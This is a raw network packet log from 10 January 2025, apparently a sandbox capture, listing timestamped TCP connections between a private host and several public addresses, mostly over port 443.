Jan 10, 2025 19:04:50.227341890 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.239438057 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.239464998 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.255451918 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.287448883 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.333054066 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333137989 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333163977 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333209991 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.333231926 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333271027 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.333319902 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333472967 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333492994 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333534956 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.333543062 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.333933115 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.334151983 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.337846994 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.337904930 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.337907076 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.337919950 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.337961912 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.355391979 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355443954 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355503082 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355535030 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355561018 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.355571985 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355582952 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355607033 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.355629921 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.355635881 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355696917 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.355737925 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.355747938 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.356029034 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.356065989 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.356110096 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.356116056 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.356178045 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.365674019 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.365711927 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.365788937 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.366041899 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.366054058 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431251049 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431328058 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431364059 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431395054 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431423903 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431427956 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.431444883 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431473970 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.431489944 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431497097 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.431503057 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431550980 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.431556940 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431592941 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.431642056 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.432332993 CET	49725	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.432347059 CET	443	49725	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.439277887 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.439305067 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.439415932 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.439723969 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.439733982 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442441940 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442533016 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442564011 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442589998 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.442595959 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442634106 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442672014 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.442683935 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442854881 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442878008 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.442883968 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.442923069 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.442928076 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.443373919 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.443412066 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.443418026 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.443423033 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.443459034 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.443463087 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444108963 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444140911 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444166899 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444185972 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.444191933 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444215059 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.444303036 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444330931 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444345951 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.444350004 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.444387913 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.445071936 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445467949 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445507050 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445507050 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.445516109 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445559025 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.445564985 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445606947 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.445647001 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.445838928 CET	49723	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.445851088 CET	443	49723	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.841788054 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.852842093 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.852861881 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.853432894 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.858760118 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.858911991 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.862333059 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.907324076 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.911586046 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.911921978 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.911931992 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.912276030 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.912791014 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.912847996 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.912962914 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.955334902 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989643097 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989725113 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989797115 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989801884 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.989837885 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989859104 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.989900112 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.989939928 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990138054 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.990155935 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990658045 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990690947 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990721941 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990726948 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.990742922 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.990773916 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.994390011 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:50.994481087 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:50.994488001 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.045599937 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.064027071 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.064107895 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.064188957 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.065097094 CET	49728	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.065115929 CET	443	49728	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.068732023 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.068778992 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.068878889 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.069133997 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.069144011 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080363035 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080434084 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080471992 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080495119 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.080511093 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080549002 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080578089 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080600023 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.080606937 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.080631018 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.081165075 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.081255913 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.081262112 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.081465006 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.081492901 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.081527948 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.081532955 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.081571102 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.081975937 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082036972 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082066059 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082082987 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.082089901 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082123041 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082159996 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082169056 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.082178116 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082204103 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.082772017 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082802057 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082834959 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082834959 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.082845926 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.082885981 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.125435114 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.125449896 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.157792091 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:51.171130896 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171174049 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171211004 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171212912 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.171240091 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171257019 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.171379089 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171386957 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171433926 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.171442032 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171746969 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171797991 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.171804905 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171873093 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.171947002 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.171984911 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172033072 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.172039986 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172091007 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.172487974 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172547102 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.172629118 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172674894 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172702074 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.172708988 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.172719955 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.173324108 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.173394918 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.173401117 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.173476934 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.173621893 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.173660994 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.173672915 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.173679113 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.173706055 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.173729897 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.174343109 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.174412966 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.174475908 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.174529076 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.174587965 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.174674988 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.175971985 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.176032066 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.221777916 CET	49678	443	192.168.2.16	20.189.173.10
Jan 10, 2025 19:04:51.262016058 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.262075901 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.262116909 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.262146950 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.262176037 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.262219906 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.262227058 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.262262106 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.262375116 CET	49727	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.262392998 CET	443	49727	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.266367912 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.266408920 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.266936064 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.267205954 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.267220020 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.292488098 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.292543888 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.292731047 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.293040991 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.293061018 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.426497936 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.426561117 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.426942110 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.427212954 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.427233934 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.460498095 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:51.543591976 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:51.543647051 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:51.544172049 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:51.544172049 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:51.544208050 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:51.563589096 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.563976049 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.564039946 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.564376116 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.565546036 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.565654039 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.565962076 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.607336998 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.717551947 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.717622042 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.717706919 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.718852043 CET	49729	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.718877077 CET	443	49729	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.732867956 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.733323097 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.733347893 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.733675003 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.734103918 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.734170914 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.734776020 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.748307943 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.748827934 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.748850107 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.749914885 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.750030041 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750468969 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750468969 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750533104 CET	443	49731	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.750546932 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750674963 CET	49731	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750858068 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.750900984 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.751028061 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.751204014 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:51.751215935 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:51.775332928 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873826981 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873882055 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873905897 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873930931 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873960018 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.873979092 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.873986959 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.874006033 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.874027967 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.874042034 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.874663115 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.874701977 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.874720097 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.874731064 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.876365900 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.876372099 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.906073093 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.906444073 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.906476974 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.906836987 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.907588959 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.907661915 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.910234928 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.910295963 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.910367966 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.922482014 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.922508955 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960629940 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960664988 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960695982 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960726976 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960745096 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.960757017 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960777044 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.960802078 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.960827112 CET	49730	443	192.168.2.16	104.18.94.41
